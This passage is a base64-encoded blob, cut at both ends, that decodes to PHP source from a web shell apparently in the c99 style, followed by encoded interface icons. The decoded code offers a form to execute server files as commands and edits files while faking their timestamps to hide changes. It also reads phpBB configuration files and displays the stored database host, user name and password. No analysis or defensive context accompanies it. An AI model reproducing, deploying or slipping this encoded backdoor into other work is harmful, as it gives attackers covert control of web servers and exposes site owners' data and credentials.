Ck7fQ0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJ0eHQiKSB7ZWNobyAiPHByZT4iLmh0bWxzcGVjaWFsY2hhcnMoJHIpLiI8L3ByZT4iO30NCiAgZWxzZWlmICgkZnQgPT0gImluaSIpIHtlY2hvICI8cHJlPiI7IHZhcl9kdW1wKHBhcnNlX2luaV9maWxlKCRkLiRmLFRSVUUpKTsgZWNobyAiPC9wcmU+Ijt9DQogIGVsc2VpZiAoJGZ0ID09ICJwaHBzZXNzIikgew0KICAgZWNobyAiPHByZT4iOw0KICAgJHYgPSBleHBsb2RlKCJ8Iiwkcik7DQogICBlY2hvICR2WzBdLiI8YnI+IjsNCiAgIHZhcl9kdW1wKHVuc2VyaWFsaXplKCR2WzFdKSk7DQogICBlY2hvICI8L3ByZT4iOw0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJleGUiKSB7DQogICAkZXh0ID0gZXhwbG9kZSgiLiIsJGYpOw0KICAgJGMgPSBjb3VudCgkZXh0KS0xOw0KICAgJGV4dCA9ICRleHRbJGNdOw0KICAgJGV4dCA9IHN0cnRvbG93ZXIoJGV4dCk7DQogICAkcmZ0ID0gIiI7DQogICBmb3JlYWNoKCRleGVmdHlwZXMgYXMgJGs9PiR2KQ0KICAgew0KICAgIGlmIChpbl9hcnJheSgkZXh0LCR2KSkgeyRyZnQgPSAkazsgYnJlYWs7fQ0KICAgfQ0KICAgJGNtZCA9IHN0cl9yZXBsYWNlKCIlZiUiLCRmLCRyZnQpOw0KICAgZWNobyAiPGI+RXhlY3V0ZSBmaWxlOjwvYj48Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPWNtZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiY21kXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGNtZCkuIlwiIHNpemU9XCIiLihzdHJsZW4oJGNtZCkrMikuIlwiPjxicj5EaXNwbGF5IGluIHRleHQtYXJlYTxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiY21kX3R4dFwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJkXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGQpLiJcIj48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiRXhlY3V0ZVwiPjwvZm9ybT4iOw0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJzZGIiKSB7ZWNobyAiPHByZT4iOyB2YXJfZHVtcCh1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKCRyKSkpOyBlY2hvICI8L3ByZT4iO30NCiAgZWxzZWlmICgkZnQgPT0gImNvZGUiKSB7DQogICAgaWYgKGVyZWcoInBocCIuIkJCIDIuKC4qKSBhdXRvLWdlbmVyYXRlZCBjb25maWcgZmlsZSIsJHIpKSB7DQogICAgICAkYXJyID0gZXhwbG9kZSgiXG4iLCRyKTsNCiAgICAgIGlmIChjb3VudCgkYXJyID09IDE4KSkgew0KICAgICAgICBpbmNsdWRlKCRkLiRmKTsNCiAgICAgICAgZWNobyAiPGI+cGhwQkIgY29uZmlndXJhdGlvbiBpcyBkZXRlY3RlZCBpbiB0aGlzIGZpbGUhPGJyPiI7DQogICAgICAgIGlmICgkZGJtcyA9PSAibXlzcWw0IikgeyRkYm1zID0gIm15c3FsIjt9DQogICAgICAgIGlmICgkZGJtcyA9PSAibXlzcWwiKSB7ZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuIng9c3FsJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRkYmhvc3QpLiImc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkZGJ1c2VyKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRkYnBhc3N3ZCkuIiZzcWxfcG9ydD0zMzA2JnNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJGRibmFtZSkuIlwiPjxiPjx1PkNvbm5lY3QgdG8gREI8L3U+PC9iPjwvYT48YnI+PGJyPiI7fQ0KICAgICAgICBlbHNlIHtlY2hvICJCdXQsIHlvdSBjYW4ndCBjb25uZWN0IHRvIGZvcnVtIHNxbC1iYXNlLCBiZWNhdXNlIGRiLXNvZnR3YXJlPVwiIi4kZGJtcy4iXCIgaXMgbm90IHN1cHBvcnRlZCBieSB0aGlzIHNoZWxsLiBQbGVhc2UsIHJlcG9ydCB1cyBmb3IgZml4LiI7fQ0KICAgICAgICBlY2hvICJQYXJhbWV0ZXJzIGZvciBtYW51YWwgY29ubmVjdDo8YnI+IjsNCiAgICAgICAgJGNmZ3ZhcnMgPSBhcnJheSgiZGJtcyI9PiRkYm1zLCJkYmhvc3QiPT4kZGJob3N0LCJkYm5hbWUiPT4kZGJuYW1lLCJkYnVzZXIiPT4kZGJ1c2VyLCJkYnBhc3N3ZCI9PiRkYnBhc3N3ZCk7DQogICAgICAgIGZvcmVhY2ggKCRjZmd2YXJzIGFzICRrPT4kdikge2VjaG8gaHRtbHNwZWNpYWxjaGFycygkaykuIj0nIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iJzxicj4iO30NCiAgICAgICAgZWNobyAiPC9iPjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsNCiAgICAgIH0NCiAgICB9DQogICAgZWNobyAiPGRpdiBzdHlsZT1cImJvcmRlciA6IDBweCBzb2xpZCAjRkZGRkZGOyBwYWRkaW5nOiAxZW07IG1hcmdpbi10b3A6IDFlbTsgbWFyZ2luLWJvdHRvbTogMWVtOyBtYXJnaW4tcmlnaHQ6IDFlbTsgbWFyZ2luLWxlZnQ6IDFlbTsgYmFja2dyb3VuZC1jb2xvcjogIi4kaGlnaGxpZ2h0X2JhY2tncm91bmQgLiI7XCI+IjsNCiAgICBpZiAoIWVtcHR5KCR3aGl0ZSkpIHtAb2JfY2xlYW4oKTt9DQogICAgaGlnaGxpZ2h0X2ZpbGUoJGQuJGYpOw0KICAgIGlmICghZW1wdHkoJHdoaXRlKSkge2NhcHJpdjhleGl0KCk7fQ0KICAgIGVjaG8gIjwvZGl2PiI7DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gImRvd25sb2FkIikgew0KICAgIEBvYl9jbGVhbigpOw0KICAgIGhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsNCiAgICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLmZpbGVzaXplKCRkLiRmKSk7DQogICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGYuIlwiOyIpOw0KICAgIGVjaG8gJHI7DQogICAgZXhpdDsNCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAibm90ZXBhZCIpIHsNCiAgICBAb2JfY2xlYW4oKTsNCiAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogdGV4dC9wbGFpbiIpOw0KICAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRmLiIudHh0XCI7Iik7DQogICAgZWNobygkcik7DQogICAgZXhpdDsNCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAiaW1nIikgew0KICAgICRpbmYgPSBnZXRpbWFnZXNpemUoJGQuJGYpOw0KICAgIGlmICghJHdoaXRlKSB7DQogICAgICBpZiAoZW1wdHkoJGltZ3NpemUpKSB7JGltZ3NpemUgPSAyMDt9DQogICAgICAkd2lkdGggPSAkaW5mWzBdLzEwMCokaW1nc2l6ZTsNCiAgICAgICRoZWlnaHQgPSAkaW5mWzFdLzEwMCokaW1nc2l6ZTsNCiAgICAgIGVjaG8gIjxjZW50ZXI+PGI+U2l6ZTo8L2I+Jm5ic3A7IjsNCiAgICAgICRzaXplcyA9IGFycmF5KCIxMDAiLCI1MCIsIjIwIik7DQogICAgICBmb3JlYWNoICgkc2l6ZXMgYXMgJHYpIHsNCiAgICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWltZyZkPSIudXJsZW5jb2RlKCRkKS4iJmltZ3NpemU9Ii4kdi4iXCI+IjsNCiAgICAgICAgaWYgKCRpbWdzaXplICE9ICR2ICkge2VjaG8gJHY7fQ0KICAgICAgICBlbHNlIHtlY2hvICI8dT4iLiR2LiI8L3U+Ijt9DQogICAgICAgIGVjaG8gIjwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICAgfQ0KICAgICAgZWNobyAiPGJyPjxicj48aW1nIHNyYz1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWltZyZ3aGl0ZT0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIiB3aWR0aD1cIiIuJHdpZHRoLiJcIiBoZWlnaHQ9XCIiLiRoZWlnaHQuIlwiIGJvcmRlcj1cIjFcIj48L2NlbnRlcj4iOw0KICAgIH0NCiAgICBlbHNlIHsNCiAgICAgIEBvYl9jbGVhbigpOw0KICAgICAgJGV4dCA9IGV4cGxvZGUoJGYsIi4iKTsNCiAgICAgICRleHQgPSAkZXh0W2NvdW50KCRleHQpLTFdOw0KICAgICAgaGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJGluZlsibWltZSJdKTsNCiAgICAgIHJlYWRmaWxlKCRkLiRmKTsNCiAgICAgIGV4aXQ7DQogICAgfQ0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJlZGl0Iikgew0KICAgaWYgKCFlbXB0eSgkc3VibWl0KSkNCiAgIHsNCiAgICBpZiAoJGZpbGVzdGVhbHRoKSB7JHN0YXQgPSBzdGF0KCRkLiRmKTt9DQogICAgJGZwID0gZm9wZW4oJGQuJGYsInciKTsNCiAgICBpZiAoISRmcCkge2VjaG8gIjxiPkNhbid0IHdyaXRlIHRvIGZpbGUhPC9iPiI7fQ0KICAgIGVsc2UNCiAgICB7DQogICAgIGVjaG8gIjxiPlNhdmVkITwvYj4iOw0KICAgICBmd3JpdGUoJGZwLCRlZGl0X3RleHQpOw0KICAgICBmY2xvc2UoJGZwKTsNCiAgICAgaWYgKCRmaWxlc3RlYWx0aCkge3RvdWNoKCRkLiRmLCRzdGF0WzldLCRzdGF0WzhdKTt9DQogICAgICRyID0gJGVkaXRfdGV4dDsNCiAgICB9DQogICB9DQogICAkcm93cyA9IGNvdW50KGV4cGxvZGUoIlxyXG4iLCRyKSk7DQogICBpZiAoJHJvd3MgPCAxMCkgeyRyb3dzID0gMTA7fQ0KICAgaWYgKCRyb3dzID4gMzApIHskcm93cyA9IDMwO30NCiAgIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWVkaXQmZD0iLnVybGVuY29kZSgkZCkuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIlNhdmVcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInJlc2V0XCIgdmFsdWU9XCJSZXNldFwiPiZuYnNwOzxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgb25jbGljaz1cImxvY2F0aW9uLmhyZWY9JyIuYWRkc2xhc2hlcygkc3VybC4ieD1scyZkPSIuc3Vic3RyKCRkLDAsLTEpKS4iJztcIiB2YWx1ZT1cIkJhY2tcIj48YnI+PHRleHRhcmVhIG5hbWU9XCJlZGl0X3RleHRcIiBjb2xzPVwiMTIyXCIgcm93cz1cIiIuJHJvd3MuIlwiPiIuaHRtbHNwZWNpYWxjaGFycygkcikuIjwvdGV4dGFyZWE+PC9mb3JtPiI7DQogIH0NCiAgZWxzZWlmICghZW1wdHkoJGZ0KSkge2VjaG8gIjxjZW50ZXI+PGI+TWFudWFsbHkgc2VsZWN0ZWQgdHlwZSBpcyBpbmNvcnJlY3QuIElmIHlvdSB0aGluaywgaXQgaXMgbWlzdGFrZSwgcGxlYXNlIHNlbmQgdXMgdXJsIGFuZCBkdW1wIG9mIFwkR0xPQkFMUy48L2I+PC9jZW50ZXI+Ijt9DQogIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+VW5rbm93biBleHRlbnNpb24gKCIuJGV4dC4iKSwgcGxlYXNlLCBzZWxlY3QgdHlwZSBtYW51YWxseS48L2I+PC9jZW50ZXI+Ijt9DQp9DQplY2hvICI8L2Rpdj5cbiI7DQp9DQp9DQplbHNlIHsNCkBvYl9jbGVhbigpOw0KJGltYWdlcyA9IGFycmF5KA0KImFycm93X2x0ciI9Pg0KIlIwbEdPRGxoSmdBV0FJQUJBUC8vL3dBQUFDSDVCQUhvQXdFQUxBQUFBQUFtQUJZQUFBSXZqSStweSswUEY0aTBnVnZ6dVZ4WERub1FTSXJVWkdab2VyS2YyOEtqUE5QT2FrdTVSZlordVFzS2g4UmlvZ0FBT3c9PSIsDQoiYmFjayI9Pg0KIlIwbEdPRGxoRkFBVUFLSUFBQUFBQVAvLy85M2QzY0RBd0lhR2hnUUVCUC8vL3dBQUFDSDVCQUVBQUFZQUxBQUFBQUFVQUJRQUFBTTgiLg0KImFMcmMvakRLU1dXcGpWeXNTTmlZSjRDVU9CSm9xam5pSUx6d3V6THRZTi8zekJTRXJmNmtCVytnS1JpUFJnaFBoK0VGSzBtT1VFcXQiLg0KIldnMEpBRHM9IiwNCiJidWZmZXIiPT4NCiJSMGxHT0RsaEZBQVVBS0lBQUFBQUFQLy8vL2o0K04zZDNjek16TEt5c29hR2h2Ly8veUg1QkFFQUFBY0FMQUFBQUFBVUFCUUFBQU5vIi4NCiJlTHJjcmliRzkweTRGMUFtdTUrTmhZMmt4bDJDTUt3clFSU0d1VmpwNExtd0RBV3FpQUdGWENoZyt4aG5SQitwdExPaGFpMWNyRW1EIi4NCiJEbHd2NGNFQzQ2bWkyWWdKUUtheHNFR0RGbm5Hd1dEVEV6ajlqclBSZGJodUc4Q3IvMklOWklPRWhYc2JEd2tBT3c9PSIsDQoiY2hhbmdlIj0+DQoiUjBsR09EbGhGQUFVQU1RZkFMM2hqN25YK3BxbzFlankvZjdZQWNUYis4dmgrNkZ0SDU2V1p0dnIvUkFRRVplY3g5TGwvUFg2L3YzKyIuDQoiLzNlSHQ2cTg4ZUh1L1prZkgzeVZ5SXVRdCs3Mi9rT205OWZvL1A4QVptNTdya0dTNEhlejZwaWw5b2VwM0dabVp2Ly8veUg1QkFFQSIuDQoiQUI4QUxBQUFBQUFVQUJRQUFBV2Y0Q2VPWkdtZTZObXRMT3VsWCtjNFRWTlZRN2U5cUZ6Zmc0SEZvbmtkSkE1UzU0Y2JSQW9GeUVPQyIuDQoid1NpVXRtWWtrcmd3T0FlQTV6cnFhTGxkQmlOTUlKZUQyNjZYWVRnUURtNVJ4OG1kRytvQWJTWWRhSDRHYTNjOEpCTUphWFFHQlFnQSIuDQoiQ0hrakU0YVFrUTBBbFNJVGFuK1pBUXFraWlRUGoxQUZBYU1LRUtZakQzOVFyS3dLQWE4bkdRSzhBZ3UvQ3hUQ3NDTWV4c2ZJeGpETCIuDQoiek1zaEFEcz0iLA0KImRlbGV0ZSI9Pg0KIlIwbEdPRGxoRkFBVUFPWlpBUHo4L05QRnlOZ0hMczBZT3ZQejgvYjI5c2FjcE5YVjFmWDE5Y3dYT2ZEdzhLZW5wL241K2V0Z2V1bnAiLg0KIjZkY0dMTU1wUnVycTZwS1NrdHZiMisvdjcrMXdoM1IwZFBuUDE3aUFpcHh5ZWw5Zlg3ZGpjc2NTTTkzZDNaR1JrZUVzVGV2ZDRMQ3ciLg0KInNHUmtaR3BPVStJZlErRVFOb2g2ZmRJY1BlSGg0WVdGaGJKUVl2THk4dWkreG01dWJzeGNjT3g4a2NNNFV0WTlXZUFkUVltSmlmV3YiLg0KInZIeDhmTW5KeWNNM1VmM3Y4clJ1ZTk4T05iT3pzOVlGSzVTVWxLWW9QK1RrNU4wb1N1Zm41N1pHV3NRclI5a0lMNUNRa09QajQyVmwiLg0KIlplQVBOdWRBWDlzS01QdjcrMTVRVTV1Ym0zOS9mOGU1dTR4aWF0cmEydWJLejhQRHcrcGZlZTkvbE1LMHQ4MXJmZDhBS2YvLy93QUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDSDUiLg0KIkJBRUFBRmtBTEFBQUFBQVVBQlFBQUFlc2dGbUNnNFNGaG9lSWhpVWZJSW1JTWxnUUI0NkdMQWxZUWthRlZWaFNBSVpMVDVjYkVZSTQiLg0KIlNUbzVNeE9maFF3QkExZ1lDaGNrUUJrMU93aUlBTEFDTGtneEppbFRCSTY5UkZoREZoNEhESlJaVkZnUFBGQlIwRmtOV0RkTUhBOEciLg0KIkJaVGFNQ0lTVmdNQzRJa1ZXQ2NhUFNpOTZPcUdORmhLSTA0ZGdyMFFXRmNLREwzQTR1T0lqVlpaQUJ4UUlXREJMa0lFUXJSb1FzSFEiLg0KImp3VkZIQmdpRUdRRklnUWFzWWtjU2JKUUlBQTciLA0KImRvd25sb2FkIj0+DQoiUjBsR09EbGhGQUFVQUxNSUFBRC9BQUNBQUlBQUFNREF3SDkvZi84QUFQLy8vd0FBQVAvLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFDSDVCQUVBQUFnQUxBQUFBQUFVQUJRQUFBUk9FTWxKcTcwNFV5R092a0xoZlZVNGtwT0pTcHg1bkY5WWlDdExmMFN1SDdwdSIuDQoiRVlPZ2NCZ2t3QWlHcEhLWnpCMkp4QURBU1FGQ2lkUUpzTWZkR3FzREpuT1FsWFRQMzhwcnpXYlgzcWdJQURzPSIsDQoiZm9yd2FyZCI9Pg0KIlIwbEdPRGxoRkFBVUFQSUFBQUFBQVAvLy85M2QzY0RBd0lhR2hnUUVCUC8vL3dBQUFDSDVCQUVBQUFZQUxBQUFBQUFVQUJRQUFBTTgiLg0KImFMcmMvakRLMlFwOXhWNVdpTjVHNTBGWmFSTEQ2SWhFNjZMcHQzUkRiZDlDUUZTRTRQKytRVzdIZTdVS1BoMElxVncybDBSUVNFcXQiLg0KIldxc0pBRHM9IiwNCiJob21lIj0+DQoiUjBsR09EbGhGQUFVQUxNQUFBQUFBUC8vLytycTZ0M2QzY3pNekxLeXNvYUdobVptWmdRRUJQLy8vd0FBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFDSDVCQUVBQUFrQUxBQUFBQUFVQUJRQUFBUitNTWs1VFRXSTZpcHlNb08zY1VXUmdlSm9DQ2FMb0tPMG1xMFp4ak5TQkRXUyIuDQoia3JxQXNMZko3WVFCbDR0aVJDWUZTcFBNZFJSQ29RT2lMNGk4Q2daZ2swOVdmV0xCWVpIQjZVV2pDZXF1d0VESHVPRVZLM1F0Z04vaiIuDQoiVndNckJEWnZnRitDaEhhR2VZaUNCUVlIQ0g4VkJKYVdkQWVTbDVZaVc1K2dvQklSQURzPSIsDQoibW9kZSI9Pg0KIlIwbEdPRGxoSFFBVUFMTUFBQUFBQVAvLy82Q2dwTjNkM2N6TXpJYUdobVptWmw5ZlgvLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBZEFCUUFBQVNCRU1sSnE3MDQ2MW02LytBSFpNVWduR2lxbmlOV0hIQXN6M0Y3RlVHdTczeE8iLg0KIjJCWmN3R0RvRVhrL1VxNElDQUNlUTZmem1YVGxuczBkZGxlOTliN2NGdllwRVI1NVoxMFh5MWxLdDh3cG9Jc0FDcmRhcUJwWUVZSy8iLg0KImRIMUxSV2lFZTBwUlRYQnZWSHdVZDNvNmVENk9IQVNYbUptYW1KVVNZNStnbnh1anBCSVJBRHM9IiwNCiJzZWFyY2giPT4NCiJSMGxHT0RsaEZBQVVBTE1BQUFBQUFQLy8vK3JxNnQzZDNjek16TURBd0xLeXNvYUdobmQzZDJabVpsOWZYMDFOVFNrcEtRUUVCUC8vIi4NCiIvd0FBQUNINUJBRUFBQTRBTEFBQUFBQVVBQlFBQUFTbjBNbDVxajB6NXhyNitKWkdlVVpwSElxUk5PSVJmSVlpeSthNnZjT3BIT2FwIi4NCiJzNUlLUWNjejhYZ0s0RUdnUXFXTXZrclNzY3lsaG9hRlZtdVpMZ1VEQW5aeEVCTU9EU25ya2hpU0NaNENHclVXTUErTExEeHVTSHNEIi4NCiJBa040QzNzZkJYMTBWSGFCSjRRZkE0ZUlVNHBpalFjRm1DVm9Oa0ZsZ2djTVJTY05TVUNkSnlob0Rhc05aNU1URFZzWEJ3bHZpUm1yIi4NCiJDYnE3QzZzSXJxYXdyS3dUdjY4aXlBNnJEaEVBT3c9PSIsDQoic2V0dXAiPT4NCiJSMGxHT0RsaEZBQVVBTVFBQUFBQUFQLy8vL2o0K09QajQ5M2QzY3pNek1EQXdMS3lzcGFXbG9hR2huZDNkMlptWmw5ZlgwMU5UVUpDIi4NCiJRaHdjSFAvLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDSDVCQUVBIi4NCiJBQkFBTEFBQUFBQVVBQlFBQUFXVklDU0tpa0tXYURtdVNoQ1VianpNd0VvR2hWdnNmSEVFTlJZT2dlZ2xqa2VnMFBGNEtCSUZSTUlCIi4NCiJxQ2FDSjRlSUdRVm9JVldzVGZRb1hNZm9VZm1NWnJnWjJHTkRQR0lJN2dKRExZRXJ3RzF2Z1c4Q0NRdHpnSGlKQW5hRmh5dDJkd1FFIi4NCiJPd2NNWm9aMGtKS1VsWmVPZFFLYlBnZWRqWm1obkFjSmxxYUlxVWVzbUlpa3BFaXhueUpodWxVTWhnMjRhU082WXlFQU93PT0iLA0KInNtYWxsX2RpciI9Pg0KImlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FZQUFBQWY4LzloQUFBQUJtSkxSMFFBQUFBQUFBRDVRN3QvQUFBQUNYQklXWE1BQUEzWEFBQU4xd0ZDS0p0NEFBQUFCM1JKVFVVSDFRc0tFamtOK2Qxd1VBQUFBWDlKUkVGVU9NdWxrVTJJVWxFWWhwOWpLdjVBcG9zUVdnUkJ0QTZDbVNDYTVTempZaEcwcVlnZ2lQNlkzV3htdHJNSW9sMVFNODRxUktSbFNWQzJiQmNZUnB1SUlpZ0ZDN0Y3ajBmUC9XWng3UXJpQmMyWER3NmN3L2U4TCs5Umx5Nlh0b3JGNGpaVE1zWUU1OERjMnR2ZGYwS0UxSjE3dCtYNjFSc3pIN1gyZUxiM2xGNnZkNlZhcVQyUEJKU2NpN1ErdGFKTWVOdDRNMzMxcUZxcFBRQ0lBNlRUR1k3azhwRUE1MElwY0ZNS3BSUzFGOVg3UUFBd3h1QjVMcTgvOW1sMk1zeWx3dzVuYmpwU1NPblBZWUptSjhQampYVzBzWE14VXNsRDNIMVlQeFVIOER3WGdKKy9OVi9hZitjQ25EaWFCU0NtdFNhZG5qUDZETVZjMXcwVC9CZmdYd2RMQVJaTllLMlBIZ1psaDcrUWlQa0lJQ0lvcFJBUlJNQVh3VnBoYUgzTVNCaU1MRU1yNUxMSkNjRHpYSTduQm5UN2hoOWREMFRoSTR3SEVSQUVrVEVZR0ZtWkFINTEycHcrZTQ0UFgvK01sd0ozRWZBUkJBVWlZYXFWa3dYcUwxK1IxOS9MNnZ5MW5ZYWJPTGEyYUhuWjRiZjM3OHFicXl5ckE4S0h0TXFuc09MNEFBQUFBRWxGVGtTdVFtQ0MiLA0KInNtYWxsX3VuayI9Pg0KIlIwbEdPRGxoRUFBUUFIY0FBQ0g1QkFFQUFKVUFMQUFBQUFBUUFCQUFod0FBQUllcDNCRTltbGxpYzNCNWlWcGpkTXZoL01MYyt5MVUiLg0KInA5UG0vR1Z1ZmM3ai9NelYvOVhtL0VPbTk5Ym4vTmpwL2E3USt0VG0vTEhTK2VYdy90M3IvTm5wL2Rqby9OcnEvZmo3Lzl2cS9OZm8iLg0KIi9NYmUrOHJoL01uZys3alcrcnZZK3I3Wis3WFI5ZERrL05Iay9OTGwvTFRVK3JuWCs4emkvTGJWKytmeC9lNzIvdkgzL3ZMNC91MzEiLg0KIi9lMzEvdUR1L2R6ci9PcnovZUh1L2ZYNi92SDQvdi8vLy92Ky8zZXo2dmY3Ly9UNS9rR1M0UHY5LzdYVitySFQrci9iK3J6YSt2UDQiLg0KIi91ejAvdXJ6L3U3MS91dnovZFRuL00vay9OM3MvZHZyL2NqZys4UGQrOEhjK3NmZis4VGUrL0QyL3JYSThySEY4YnJNODdmSjhubVAiLg0KIndyM044Ni9EOEt2QjhGOW5lRUZvdEVCbnRFTnB0RU5wdFN4VXB4MUlvRGxmclRSY3JaZWV5WmFjeHBtaHpJdVJ0cFdaeEl1T3VLcXoiLg0KIjlaT1d3WDZJczNXSXU1aW0wN3JKOUoydDJaZWswbTU3cnBxbzFuS0N0VVZydFlpcjN2ZjYvNDZ2NFl1dTRXWnZmcjdQNnNQUzZzRFEiLg0KIjY2WEI2Y2paOGEvSzc5L3MvZGJuL2V6ei9jemQ5bU4waktUQjZhaS83Nlc5N25pWHoyR0N3VjZBd1Vkc3RYeVZ5R1NEd25tWXo0aW8iLg0KIjI0T2kxYTNCNDVTeTRhZTk0NENjejRTajFuMkdsZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBam5BQ3RWQ2tDdzRKeEpBUVFxRkJqQXhvME1OR3FzQUJRQWg2Q0ZBM25rME1IaVJSRVZEaHpzb0xRd0FKMGdUNFRvZWNTSEFZTXoiLg0KImFRZ29ETkNDU0I0RUFuSW1DaVNCalV5R0xvYmdYQlRwa0FBNUk2cGdtU2tEejVjdU1Tejh5V2xBeW9DWkZHYjRTUUtoQVNNQlhKcE0iLg0KInVTclFFUXdrR2pZa1FDVEF5NkFsVU1oV2tsUUJ3NE1FaGdTQTZYUGdSeFM1aWk0MEtMRmdpNEJHVEVLQXNDS1hpaEVTQ3pyc2dTUUMiLg0KInlJa1VWK1NxT1lMQ0E0Y3NBdXA4Nk9HRGtOdzRCcFE0T2FCRmdCMFRFeUlVS3FEd1RSczRhOXlNQ1NPbURCb3ladTRzSktDZ3dJRGoiLg0KInlBc29rQmtRQURzPSIsDQoibXVsdGlwYWdlIj0+IlIwbEdPRGxoQ2dBTUFKRURBUC8vLy8vM21RQUFBQUFBQUNINUJBRUFBQU1BTEFBQUFBQUtBQXdBQUFJajNJUiIuDQoicEpoQ09Ebm92aWRBb3ZCZE16emtpeGxYZGxJMm9acEpXRXNTeXdMelJVQUFBT3c9PSIsDQoic29ydF9hc2MiPT4NCiJSMGxHT0RsaERnQUpBS0lBQUFBQUFQLy8vOVRReUlDQWdQLy8vd0FBQUFBQUFBQUFBQ0g1QkFFQUFBUUFMQUFBQUFBT0FBa0FBQU1hIi4NCiJTTHJjUGNFOUdLVWFRbFE1c041UGxvRkxKMzVPb0s2cTVTWUFPdz09IiwNCiJzb3J0X2Rlc2MiPT4NCiJSMGxHT0RsaERnQUpBS0lBQUFBQUFQLy8vOVRReUlDQWdQLy8vd0FBQUFBQUFBQUFBQ0g1QkFFQUFBUUFMQUFBQUFBT0FBa0FBQU1iIi4NCiJTTHJjT2pCQ0I0VVZJVGd5THQ1Y2gybWdTSlpEQmk3cDZoSUpBRHM9IiwNCiJzcWxfYnV0dG9uX2Ryb3AiPT4NCiJSMGxHT0RsaENRQUxBUGNBQUFBQUFJQUFBQUNBQUlDQUFBQUFnSUFBZ0FDQWdJQ0FnTURBd1A4QUFBRC9BUC8vQUFBQS8vOEEvd0QvIi4NCiIvLy8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFB